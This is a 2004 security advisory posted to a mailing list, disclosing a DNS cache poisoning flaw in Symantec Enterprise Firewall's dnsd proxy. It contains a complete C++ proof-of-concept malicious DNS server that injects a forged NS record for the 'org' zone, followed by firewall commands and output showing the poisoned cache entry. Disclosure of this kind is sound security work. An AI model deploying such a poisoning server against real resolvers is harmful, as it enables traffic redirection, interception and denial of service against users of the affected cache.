Date: 15 Jun 2004 14:45:37 -0300
From: fryxar <fryxar@datafull.com.>
To: [email protected]Subject: Symantec Enterprise Firewall DNSD cache poisoning Vulnerability
Symantec Enterprise Firewall dnsd proxy, versions 8 and later, is
vulnerable to cache poisoning attacks when acting as a caching
nameserver. Is possible to inject false entries in its cache and make a
false DNS server look like authoritative of a zone, when it is not. Once
this information is loaded any request to a subdomain of that zone, will
be submitted to the false DNS.
To do that, a maliciousus DNS server responding to a query, but not
necessarily with an answer, fills in the authoritative and additional
records section of the DNS response message with information that did
not necessarily relate to the answer. As we can see, DNSD SEF proxy
accepts this response and did not perform any necessary checks to assure
that the this information was correct or even related in some way to the
answer (i.e., that the responding server had appropriate authority over
those records).
We have found some public DNS servers that use this vulnerability to
redirect unregistered domains to their sites. It also could be used to
do Man-In-The-Middle / Denial of Services / Social Engineering Attacks.
Solution:
At the time of this writing, no solution was available.
Proof (Solaris 9 / SEF 8 and SEF 7.0.4):
In an authoritative nameserver (i.e. I used afraid.org dynamic DNS that
supports domain NS delegation), compile and run the following small DNS
server:
#########################################################
# Begin poc.cpp
#########################################################
// PoC poisoning cache attack SEF 8 and later (by fryxar)
// Requires poslib 1.0.4 library
// Compile: g++ `poslib-config --libs --cflags --server` poc.cpp -o poc
#define POS_DEFAULTLOG
#define POS_DEFAULTLOG_STDERR
#define POS_DEFAULTLOG_SYSLOG
// Server include file
#include <poslib/server/server.h>
// For signal handling
#include <stdlib.h>
#include <signal.h>
char *dyndomain;
DnsMessage *my_handle_query(pending_query *query);
void cleanup(int sig) {
// close down the server system
pos_setquitflag();
}
int main(int argc, char **argv) {
_addr a;
try {
/* get command-line arguments */
if (argc != 2 ) {
printf( "Usage: %s [domainname]\n", argv[0] );
return 1;
} else {
dyndomain = argv[1];
txt_to_addr(&a, "any");
}
poslib_config_init();
/* bring up posadis */
servers.push_front(ServerSocket(ss_udp, udpcreateserver(&a)));
// use the posadis logging system
pos_log(context_none, log_info, "Proof of concept DNS server starting
up...");
// set signal handlers
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);
// set query function
handle_query = my_handle_query;
// run server
posserver_run();
} catch (PException p) {
printf("Fatal exception: %s\n", p.message);
return 1;
}
return 0;
}
/* the entry function which will handle all queries */
DnsMessage *my_handle_query(pending_query *query) {
DnsMessage *a = new DnsMessage();
DnsQuestion q;
DnsRR rr;
/* set a as an answer to the query */
a->ID = query->message->ID;
a->RD = query->message->RD;
a->RA = false;
if (query->message->questions.begin() ==
query->message->questions.end()) {
/* query did not contain question */
a->RCODE = RCODE_QUERYERR;
return a;
}
q = *query->message->questions.begin();
a->questions.push_back(q);
a->QR = true;
pos_log(context_server, log_info, "Query: [%s,%s]", q.QNAME.tocstr(),
str_qtype(q.QTYPE).c_str());
if (q.QTYPE == DNS_TYPE_A && q.QNAME == dyndomain) {
rr = DnsRR(dyndomain, DNS_TYPE_A, CLASS_IN, 3600);
string data = rr_fromstring(DNS_TYPE_A, "200.200.200.200"); //
Anything...
rr.RDLENGTH = data.size();
rr.RDATA = (char *)memdup(data.c_str(), data.size());
a->answers.push_back(rr);
rr = DnsRR("org", DNS_TYPE_NS, CLASS_IN, 3600);
data = rr_fromstring(DNS_TYPE_NS, "fakedns.com");
rr.RDLENGTH = data.size();
rr.RDATA = (char *)memdup(data.c_str(), data.size());
a->authority.push_back(rr);
rr = DnsRR("fakedns.com", DNS_TYPE_A, CLASS_IN, 3600);
data = rr_fromstring(DNS_TYPE_A, "200.200.200.201"); // Anything...
rr.RDLENGTH = data.size();
rr.RDATA = (char *)memdup(data.c_str(), data.size());
a->additional.push_back(rr);
} else {
/* we don't want this */
a->RCODE = RCODE_SRVFAIL;
}
return a;
}
#########################################################
# End poc.cpp
#########################################################
fryxar.afraid.org # ./poc fryxar.afraid.org
and now, in your SEF Firewall:
firewall # kill `ps -ef | awk '/[d]nsd/ { print $2 }'` # Cleaning the
cache
firewall # nslookup afraid.org 127.0.0.1 # Caching org. NS
Server: localhost
Address: 127.0.0.1
Non-authoritative answer:
Name: afraid.org
Addresses: 69.42.89.56, 69.42.89.53, 69.42.89.55, 69.42.89.54
firewall # kill -USR1 `ps -ef | awk '/[d]nsd/ { print $2 }'` # dnsd dump
firewall # sed -n '/^org.$/,/^[^ ]/p' /usr/adm/sg/dnsd.dat # show cached
"org." NS
org.
172775 NS TLD2.ULTRADNS.NET.
172775 NS TLD1.ULTRADNS.NET.
2.110.45.209.in-addr.jjc.com.pe.
firewall # nslookup fryxar.afraid.org 127.0.0.1 # Domain owned by my
poisoned DNS
Server: localhost
Address: 127.0.0.1
Non-authoritative answer:
Name: fryxar.afraid.org
Address: 200.200.200.200
firewall # kill -USR1 `ps -ef | awk '/[d]nsd/ { print $2 }'` # dnsd dump
firewall # sed -n '/^org.$/,/^[^ ]/p' /usr/adm/sg/dnsd.dat # show cached
"org." NS
org.
3567 NS fakedns.com. <- Ooohh!
3567 NS TLD2.ULTRADNS.NET.
3567 NS TLD1.ULTRADNS.NET.
2.110.45.209.in-addr.jjc.com.pe.
And now SEF "thinks" that fakedns.com server is an authoritative
nameserver of "org." domain, learned by fryxar.afraid.org DNS server
that is only authoritative for the fryxar.afraid.org domain.
--
fryxar <fryxar@datafull.com.>
